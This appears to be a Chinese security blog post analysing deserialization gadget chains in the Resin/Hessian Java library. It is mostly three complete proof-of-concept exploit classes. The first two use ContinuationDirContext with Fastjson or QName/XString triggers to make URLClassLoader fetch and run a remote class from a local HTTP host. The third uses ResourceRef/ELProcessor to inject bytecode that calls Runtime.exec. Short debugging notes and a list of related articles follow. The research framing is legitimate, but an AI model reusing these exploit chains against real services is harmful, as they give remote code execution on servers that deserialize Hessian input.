前言

Resin是一个轻量级的、高性能的开源Java应用服务器。它是由Caucho Technology开发的，旨在提供可靠的Web应用程序和服务的运行环境。和Tomcat一样是个服务器，它和hessian在一个group里，所以有一定的联系

<dependencies>

  <dependency>

    <groupId>com.caucho</groupId>

    <artifactId>resin</artifactId>

    <version>4.0.64</version>

  </dependency>

</dependencies>

ContinuationDirContext+Fastjson利用链

攻击测试

因为是JDNI，所以还是得注意下jdk版本，这里用jdk8u65

package org.example;

import com.alibaba.fastjson.JSONObject;

import com.caucho.hessian.io.Hessian2Input;

import com.caucho.hessian.io.Hessian2Output;

import sun.reflect.ReflectionFactory;

import javax.naming.CannotProceedException;

import javax.naming.Reference;

import javax.naming.directory.DirContext;

import java.io.ByteArrayInputStream;

import java.io.ByteArrayOutputStream;

import java.io.IOException;

import java.io.ObjectOutputStream;

import java.lang.reflect.Array;

import java.lang.reflect.Constructor;

import java.lang.reflect.Field;

import java.lang.reflect.InvocationTargetException;

import java.util.Base64;

import java.util.HashMap;

import java.util.Hashtable;

public class resinPoc {

    public static void main(String[] args) throws Exception {

        //URLCLASSLOADER RCE

        Reference refObj=new Reference("evilref","evilref","http://127.0.0.1:8000/");

        Class<?> ccCl = Class.forName("javax.naming.spi.ContinuationDirContext"); //$NON-NLS-1$

        Constructor<?> ccCons = ccCl.getDeclaredConstructor(CannotProceedException.class, Hashtable.class);

        ccCons.setAccessible(true);

        CannotProceedException cpe = new CannotProceedException();

        cpe.setResolvedObj(refObj);

        DirContext ctx = (DirContext) ccCons.newInstance(cpe, new Hashtable<>());

//       jdk.nashorn.internal.objects.NativeString str = new jdk.nashorn.internal.objects.NativeString();

        JSONObject jsonObject = new JSONObject();

        jsonObject.put("f12",ctx);

        ByteArrayOutputStream baos = new ByteArrayOutputStream();

        Hessian2Output out = new Hessian2Output(baos);

        baos.write(67);

        out.getSerializerFactory().setAllowNonSerializable(true);

        out.writeObject(jsonObject);

        out.flushBuffer();

        ByteArrayInputStream bais = new ByteArrayInputStream(baos.toByteArray());

        Hessian2Input input = new Hessian2Input(bais);

        input.readObject();

        //String ret = Base64.getEncoder().encodeToString(baos.toByteArray());

        //System.out.println(ret);

    }

    public static HashMap<Object, Object> makeMap (Object v1, Object v2 ) throws Exception {

        HashMap<Object, Object> s = new HashMap<>();

        setFieldValue(s, "size", 2);

        Class<?> nodeC;

        try {

            nodeC = Class.forName("java.util.HashMap$Node");

        }

        catch ( ClassNotFoundException e ) {

            nodeC = Class.forName("java.util.HashMap$Entry");

        }

        Constructor<?> nodeCons = nodeC.getDeclaredConstructor(int.class, Object.class, Object.class, nodeC);

        nodeCons.setAccessible(true);

        Object tbl = Array.newInstance(nodeC, 2);

        Array.set(tbl, 0, nodeCons.newInstance(0, v1, v1, null));

        Array.set(tbl, 1, nodeCons.newInstance(0, v2, v2, null));

        setFieldValue(s, "table", tbl);

        return s;

    }

    public static <T> T createWithoutConstructor(Class<T> classToInstantiate) throws NoSuchMethodException, InstantiationException, IllegalAccessException, InvocationTargetException {

        return createWithConstructor(classToInstantiate, Object.class, new Class[0], new Object[0]);

    }

    public static String serial(Object o) throws IOException, NoSuchFieldException {

        ByteArrayOutputStream baos = new ByteArrayOutputStream();

        ObjectOutputStream oos = new ObjectOutputStream(baos);

        //Field writeReplaceMethod = ObjectStreamClass.class.getDeclaredField("writeReplaceMethod");

        //writeReplaceMethod.setAccessible(true);

        oos.writeObject(o);

        oos.close();

        String base64String = Base64.getEncoder().encodeToString(baos.toByteArray());

        return base64String;

    }

    public static <T> T createWithConstructor(Class<T> classToInstantiate, Class<? super T> constructorClass, Class<?>[] consArgTypes, Object[] consArgs) throws NoSuchMethodException, InstantiationException, IllegalAccessException, InvocationTargetException, InvocationTargetException {

        Constructor<? super T> objCons = constructorClass.getDeclaredConstructor(consArgTypes);

        objCons.setAccessible(true);

        Constructor<?> sc = ReflectionFactory.getReflectionFactory().newConstructorForSerialization(classToInstantiate, objCons);

        sc.setAccessible(true);

        return (T) sc.newInstance(consArgs);

    }

    public static void setFieldValue(Object obj, String fieldName, Object value) throws Exception {

        Field field = obj.getClass().getDeclaredField(fieldName);

        field.setAccessible(true);

        field.set(obj, value);

    }

}

流程分析

之前研究过Hessian反序列化，没想到它会触发反序列化对象的toString方法，经过调试，在过完最后那个map.put(in.readObject(),in.readObject())后，obj就是要反序列化的对象，这里有个字符拼接，所以触发了obj.toString()



这里简单提一下，接下来看正式的流程，既然这里触发了JSONObject的toString方法，说明就能任意调用getter了，我们给JSONObject传入的对象是ContinuationDirContext，这里直接给出调用的getter方法，

ContinuationContext是ContinuationDirContext的父类

ContinuationContext#getTargetContext()

我们在这个getter方法上打个断点



进入NamingManager.getContext，这里面的cpe是我们恶意构造的





跟进getObjectInstance方法



这个引用一个对象工厂



进入里面会进行类加载



最终是通过URLClassLoader进行类加载的

toString+Qname利用链

toString的触发方式有很多，这里采用HashMap+XString来触发

package org.example;

import com.caucho.hessian.io.Hessian2Input;

import com.caucho.hessian.io.Hessian2Output;

import com.caucho.naming.QName;

import com.sun.org.apache.xpath.internal.objects.XString;

import sun.reflect.ReflectionFactory;

import com.alibaba.fastjson.JSONObject;

import javax.naming.CannotProceedException;

import javax.naming.Reference;

import javax.naming.directory.DirContext;

import java.io.ByteArrayInputStream;

import java.io.ByteArrayOutputStream;

import java.io.IOException;

import java.io.ObjectOutputStream;

import java.lang.reflect.Array;

import java.lang.reflect.Constructor;

import java.lang.reflect.Field;

import java.lang.reflect.InvocationTargetException;

import java.util.Base64;

import java.util.HashMap;

import java.util.Hashtable;

public class XstringChain {

    public static void main(String[] args) throws Exception {

        Reference refObj=new Reference("evilref","evilref","http://localhost:8000/");

        Class<?> ccCl = Class.forName("javax.naming.spi.ContinuationDirContext"); //$NON-NLS-1$

        Constructor<?> ccCons = ccCl.getDeclaredConstructor(CannotProceedException.class, Hashtable.class);

        ccCons.setAccessible(true);

        CannotProceedException cpe = new CannotProceedException();

        cpe.setResolvedObj(refObj);

        DirContext ctx = (DirContext) ccCons.newInstance(cpe, new Hashtable<>());

        QName qName = new QName(ctx, "boo", "gii");

        String unhash = unhash(qName.hashCode());

        XString xString = new XString(unhash);

        HashMap<Object, Object> map = makeMap(qName, xString);

        ByteArrayOutputStream baos = new ByteArrayOutputStream();

        Hessian2Output out = new Hessian2Output(baos);

        out.getSerializerFactory().setAllowNonSerializable(true);

        out.writeObject(map);

        out.flushBuffer();

        ByteArrayInputStream bais = new ByteArrayInputStream(baos.toByteArray());

        Hessian2Input input = new Hessian2Input(bais);

        input.readObject();

        //String ret = Base64.getEncoder().encodeToString(baos.toByteArray());

        //System.out.println(ret);

    }

    public static HashMap<Object, Object> makeMap ( Object v1, Object v2 ) throws Exception {

        HashMap<Object, Object> s = new HashMap<>();

        setFieldValue(s, "size", 2);

        Class<?> nodeC;

        try {

            nodeC = Class.forName("java.util.HashMap$Node");

        }

        catch ( ClassNotFoundException e ) {

            nodeC = Class.forName("java.util.HashMap$Entry");

        }

        Constructor<?> nodeCons = nodeC.getDeclaredConstructor(int.class, Object.class, Object.class, nodeC);

        nodeCons.setAccessible(true);

        Object tbl = Array.newInstance(nodeC, 2);

        Array.set(tbl, 0, nodeCons.newInstance(0, v1, v1, null));

        Array.set(tbl, 1, nodeCons.newInstance(0, v2, v2, null));

        setFieldValue(s, "table", tbl);

        return s;

    }

    public static <T> T createWithoutConstructor(Class<T> classToInstantiate) throws NoSuchMethodException, InstantiationException, IllegalAccessException, InvocationTargetException {

        return createWithConstructor(classToInstantiate, Object.class, new Class[0], new Object[0]);

    }

    public static String serial(Object o) throws IOException, NoSuchFieldException {

        ByteArrayOutputStream baos = new ByteArrayOutputStream();

        ObjectOutputStream oos = new ObjectOutputStream(baos);

        //Field writeReplaceMethod = ObjectStreamClass.class.getDeclaredField("writeReplaceMethod");

        //writeReplaceMethod.setAccessible(true);

        oos.writeObject(o);

        oos.close();

        String base64String = Base64.getEncoder().encodeToString(baos.toByteArray());

        return base64String;

    }

    public static <T> T createWithConstructor(Class<T> classToInstantiate, Class<? super T> constructorClass, Class<?>[] consArgTypes, Object[] consArgs) throws NoSuchMethodException, InstantiationException, IllegalAccessException, InvocationTargetException {

        Constructor<? super T> objCons = constructorClass.getDeclaredConstructor(consArgTypes);

        objCons.setAccessible(true);

        Constructor<?> sc = ReflectionFactory.getReflectionFactory().newConstructorForSerialization(classToInstantiate, objCons);

        sc.setAccessible(true);

        return (T) sc.newInstance(consArgs);

    }

    public static void setFieldValue(Object obj, String fieldName, Object value) throws Exception {

        Field field = obj.getClass().getDeclaredField(fieldName);

        field.setAccessible(true);

        field.set(obj, value);

    }

    public static String unhash ( int hash ) {

        int target = hash;

        StringBuilder answer = new StringBuilder();

        if ( target < 0 ) {

            // String with hash of Integer.MIN_VALUE, 0x80000000

            answer.append("\\u0915\\u0009\\u001e\\u000c\\u0002");

            if ( target == Integer.MIN_VALUE )

                return answer.toString();

            // Find target without sign bit set

            target = target & Integer.MAX_VALUE;

        }

        unhash0(answer, target);

        return answer.toString();

    }

    private static void unhash0 ( StringBuilder partial, int target ) {

        int div = target / 31;

        int rem = target % 31;

        if ( div <= Character.MAX_VALUE ) {

            if ( div != 0 )

                partial.append((char) div);

            partial.append((char) rem);

        }

        else {

            unhash0(partial, div);

            partial.append((char) rem);

        }

    }

}

unhash的目的是为了绕过hashmap的hashcode判断，进入equals，这个链不是通过hashmap的readobject触发，之前讲Hessian我们说过Hessian反序列化的流程里面会触发hashmap的put方法，那么就会调用hashcode或者是equals。





触发QName的toString方法



进入composeName



调用getTargetContext，然后就是上面那条链了

ResouceRef+ELProccessor RCE 利用链

我本地测试没成功，在实例化javax.el.ELProcessor时的时候throw了一个java.lang.reflect.InvocationTargetException，很麻

package org.example;

import com.caucho.hessian.io.Hessian2Input;

import com.caucho.hessian.io.Hessian2Output;

import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;

import javassist.ClassClassPath;

import javassist.ClassPool;

import javassist.CtClass;

import org.apache.naming.ResourceRef;

import sun.reflect.ReflectionFactory;

import com.alibaba.fastjson.JSONObject;

import javax.el.ELProcessor;

import javax.naming.CannotProceedException;

import javax.naming.StringRefAddr;

import javax.naming.directory.DirContext;

import java.io.ByteArrayInputStream;

import java.io.ByteArrayOutputStream;

import java.io.IOException;

import java.io.ObjectOutputStream;

import java.lang.reflect.Array;

import java.lang.reflect.Constructor;

import java.lang.reflect.Field;

import java.lang.reflect.InvocationTargetException;

import java.util.Base64;

import java.util.HashMap;

import java.util.Hashtable;

public class ELProcessChain {

    public static void main(String[] args) throws Exception {

        ClassPool pool = new ClassPool();

        pool.insertClassPath(new ClassClassPath(AbstractTranslet.class));

        CtClass cc = pool.makeClass("Cat");

        String cmd = "java.lang.Runtime.getRuntime().exec(\"calc\");";

        cc.makeClassInitializer().insertBefore(cmd);

        String randomClassName = "EvilCat" + System.nanoTime();

        cc.setName(randomClassName);

        cc.setSuperclass(pool.get(AbstractTranslet.class.getName()));

        byte[] bytes = cc.toBytecode();

        String s1 = Base64.getEncoder().encodeToString(bytes);

        System.out.println(s1);

        String x = "var str='"+s1+"';var Thread = Java.type('java.lang.Thread');var tt=Thread.currentThread().getContextClassLoader();var b64 = Java.type('sun.misc.BASE64Decoder');var b=new b64().decodeBuffer(str);var byteArray = Java.type('byte[]');var int = Java.type('int');var defineClassMethod = java.lang.ClassLoader.class.getDeclaredMethod('defineClass',byteArray.class,int.class,int.class);defineClassMethod.setAccessible(true);var cc = defineClassMethod.invoke(tt,b,0,b.length);cc.newInstance();";

        //String x = "java.lang.Runtime.getRuntime().exec(\\\"calc\\\")";

        ResourceRef resourceRef = new ResourceRef("javax.el.ELProcessor", (String)null, "", "", true, "org.apache.naming.factory.BeanFactory", (String)null);

        resourceRef.add(new StringRefAddr("forceString", "pupi1=eval"));

        resourceRef.add(new StringRefAddr("pupi1", "\"\".getClass().forName(\"javax.script.ScriptEngineManager\").newInstance().getEngineByName(\"js\").eval(\""+ x +"\")"));

        Class<?> ccCl = Class.forName("javax.naming.spi.ContinuationDirContext"); //$NON-NLS-1$

        Constructor<?> ccCons = ccCl.getDeclaredConstructor(CannotProceedException.class, Hashtable.class);

        ccCons.setAccessible(true);

        CannotProceedException cpe = new CannotProceedException();

        cpe.setResolvedObj(resourceRef);

        DirContext ctx = (DirContext) ccCons.newInstance(cpe, new Hashtable<>());

//       jdk.nashorn.internal.objects.NativeString str = new jdk.nashorn.internal.objects.NativeString();

        JSONObject jsonObject = new JSONObject();

        jsonObject.put("f12",ctx);

        ByteArrayOutputStream baos = new ByteArrayOutputStream();

        Hessian2Output out = new Hessian2Output(baos);

        baos.write(67);

        out.getSerializerFactory().setAllowNonSerializable(true);

        out.writeObject(jsonObject);

        out.flushBuffer();

        ByteArrayInputStream bais = new ByteArrayInputStream(baos.toByteArray());

        Hessian2Input input = new Hessian2Input(bais);

        input.readObject();

        //String ret = Base64.getEncoder().encodeToString(baos.toByteArray());

        //System.out.println(ret);

    }

    public static HashMap<Object, Object> makeMap ( Object v1, Object v2 ) throws Exception {

        HashMap<Object, Object> s = new HashMap<>();

        setFieldValue(s, "size", 2);

        Class<?> nodeC;

        try {

            nodeC = Class.forName("java.util.HashMap$Node");

        }

        catch ( ClassNotFoundException e ) {

            nodeC = Class.forName("java.util.HashMap$Entry");

        }

        Constructor<?> nodeCons = nodeC.getDeclaredConstructor(int.class, Object.class, Object.class, nodeC);

        nodeCons.setAccessible(true);

        Object tbl = Array.newInstance(nodeC, 2);

        Array.set(tbl, 0, nodeCons.newInstance(0, v1, v1, null));

        Array.set(tbl, 1, nodeCons.newInstance(0, v2, v2, null));

        setFieldValue(s, "table", tbl);

        return s;

    }

    public static <T> T createWithoutConstructor(Class<T> classToInstantiate) throws NoSuchMethodException, InstantiationException, IllegalAccessException, InvocationTargetException {

        return createWithConstructor(classToInstantiate, Object.class, new Class[0], new Object[0]);

    }

    public static String serial(Object o) throws IOException, NoSuchFieldException {

        ByteArrayOutputStream baos = new ByteArrayOutputStream();

        ObjectOutputStream oos = new ObjectOutputStream(baos);

        //Field writeReplaceMethod = ObjectStreamClass.class.getDeclaredField("writeReplaceMethod");

        //writeReplaceMethod.setAccessible(true);

        oos.writeObject(o);

        oos.close();

        String base64String = Base64.getEncoder().encodeToString(baos.toByteArray());

        return base64String;

    }

    public static <T> T createWithConstructor(Class<T> classToInstantiate, Class<? super T> constructorClass, Class<?>[] consArgTypes, Object[] consArgs) throws NoSuchMethodException, InstantiationException, IllegalAccessException, InvocationTargetException {

        Constructor<? super T> objCons = constructorClass.getDeclaredConstructor(consArgTypes);

        objCons.setAccessible(true);

        Constructor<?> sc = ReflectionFactory.getReflectionFactory().newConstructorForSerialization(classToInstantiate, objCons);

        sc.setAccessible(true);

        return (T) sc.newInstance(consArgs);

    }

    public static void setFieldValue(Object obj, String fieldName, Object value) throws Exception {

        Field field = obj.getClass().getDeclaredField(fieldName);

        field.setAccessible(true);

        field.set(obj, value);

    }

    public static String unhash ( int hash ) {

        int target = hash;

        StringBuilder answer = new StringBuilder();

        if ( target < 0 ) {

            // String with hash of Integer.MIN_VALUE, 0x80000000

            answer.append("\\u0915\\u0009\\u001e\\u000c\\u0002");

            if ( target == Integer.MIN_VALUE )

                return answer.toString();

            // Find target without sign bit set

            target = target & Integer.MAX_VALUE;

        }

        unhash0(answer, target);

        return answer.toString();

    }

    private static void unhash0 ( StringBuilder partial, int target ) {

        int div = target / 31;

        int rem = target % 31;

        if ( div <= Character.MAX_VALUE ) {

            if ( div != 0 )

                partial.append((char) div);

            partial.append((char) rem);

        }

        else {

            unhash0(partial, div);

            partial.append((char) rem);

        }

    }

}

说下大致流程，前面的步骤一样，到这里，进入getObjectInstance



这里beanClass是javax.el.ELProcessor，本来实例化后再往后就会取值进行调用执行了，但是在这实例化处si了



这里invoke，rce

Resin反序列化链分析的更多相关文章

  1. PHP反序列化链分析

    前言 基本的魔术方法和反序列化漏洞原理这里就不展开了. 给出一些魔术方法的触发条件: __construct()当一个对象创建(new)时被调用,但在unserialize()时是不会自动调用的 __ ...

  2. [Java反序列化]jdk原生链分析

    jdk原生链分析 原文链接 作为jdk中目前发现的原生链,还是有必要要分析这个用法的.全文仅限尽可能还原挖掘思路 JDK7u21 在很多链中,TemplatesImpl一直发挥着不可或缺的作用,它是位 ...

  3. CommonsCollections2 反序列化利用链分析

    在 ysoserial中 commons-collections2 是用的 PriorityQueue reaObject 作为反序列化的入口 那么就来看一下 java.util.PriorityQu ...

  4. CommonsCollections1 反序列化利用链分析

    InvokerTransformer 首先来看 commons-collections-3.1-sources.jar!\org\apache\commons\collections\functors ...

  5. CommonsCollections3 反序列化利用链分析

    InstantiateTransformer commons-collections 3.1 中有 InstantiateTransformer 这么一个类,这个类也实现了 Transformer的t ...

  6. ThinkPHP v5.1.x POP 链分析

    环境:MacOS 10.13 MAMAP Prophp 7.0.33 + xdebugVisual Studio Code前言我所理解的 POP Chain:利用魔术方法并巧妙构造特殊属性调用一系列函 ...

  7. ThinkPHP v6.0.x 反序列化漏洞利用

    前言: 上次做了成信大的安询杯第二届CTF比赛,遇到一个tp6的题,给了源码,目的是让通过pop链审计出反序列化漏洞. 这里总结一下tp6的反序列化漏洞的利用. 0x01环境搭建 现在tp新版本的官网 ...

  8. java反序列化-ysoserial-调试分析总结篇(2)

    前言: 这篇主要分析commonCollections2,调用链如下图所示: 调用链分析: 分析环境:jdk1.8.0 反序列化的入口点为src.zip!/java/util/PriorityQueu ...

  9. java反序列化-ysoserial-调试分析总结篇(7)

    前言: CommonsCollections7外层也是一条新的构造链,外层由hashtable的readObject进入,这条构造链挺有意思,因为用到了hash碰撞 yso构造分析: 首先构造进行rc ...

  10. Java安全之FastJson JdbcRowSetImpl 链分析

    Java安全之FastJson JdbcRowSetImpl 链分析 0x00 前言 续上文的Fastjson TemplatesImpl链分析,接着来学习JdbcRowSetImpl 利用链,Jdb ...

随机推荐

  1. [STM32 HAL]一种可能不错的DMA处理串口数据方案

    [STM32 HAL]一种可能不错的DMA处理数据方案 原文链接:https://blog.csdn.net/youmeichifan/article/details/51750435?spm=100 ...

  2. System design summary

    system design https://github.com/donnemartin/system-design-primer Performance vs scalability scalabi ...

  3. 使用JMeter从JSON响应的URL参数中提取特定值

    在使用Apache JMeter进行API测试时,我们经常需要从JSON格式的响应中提取特定字段的值.这可以通过使用JMeter内置的JSON提取器和正则表达式提取器来完成.以下是一个具体的例子,展示 ...

  4. Elastic实战：彻底解决spring-data-elasticsearch日期、时间类型数据读取报错问题

    0. 引言在使用spring-data-elasticsearch读取es中时间类型的数据时出现了日期转换报错,不少初学者会在这里困惑很久,所以今天我们专门来解读该问题的几种解决方案. 1. 问题分析 ...

  5. PS的流水灯设计分析

    PS的流水灯设计分析 1.实验原理 PS设计流水灯就是采用ARM的硬核实现流水灯设计.ARM内核采用的就是一个可以执行软件程序的平台.这里采用C语言设计.基于前面构建的GPIO外设的硬件平台,这里实现 ...

  6. KingbaseES V8R6 运维案例 -- sys_filenode.map故障案例

    ​ 案例说明: 数据库下的sys_filenode.map文件被破坏,导致此数据库无法连接访问. Nail表(内核系统表)Relfilenode的存储机制: 经过研究发现,在数据目录里存在着pg_fi ...

  7. 误删除系统超级用户（superuser）权限的恢复方式

    在使用KingbaseES数据库的时候,系统默认存在一个跟系统初始化用户同名的Superuser(默认是system用户,可更改). 这个Superuser的存在其实对于权限的管控是很有用的,但是如果 ...

  8. 11.硬核的volatile考点分析

    大家好,我是王有志.关注王有志,一起聊技术,聊游戏,聊在外漂泊的生活. 今天我们学习并发编程中另一个重要的关键字volatile,虽然面试中它的占比低于synchronized,但依旧是不可忽略的内容 ...

  9. 使用vcpkg和OHOS SDK构建开源软件

    安装OHOS SDK 参照OHOS IDE和SDK的安装方法,安装构建工具. 创建用户环境变量OHOS_NDK_HOME,指向OHOS SDK的安装路径,比如D:\Tools\Huawei\OHOS\ ...

  10. 深入理解 C++ 语法：从基础知识到高级应用

    C++ 语法 让我们将以下代码分解以更好地理解它: 示例 #include <iostream> using namespace std; int main() { cout <&l ...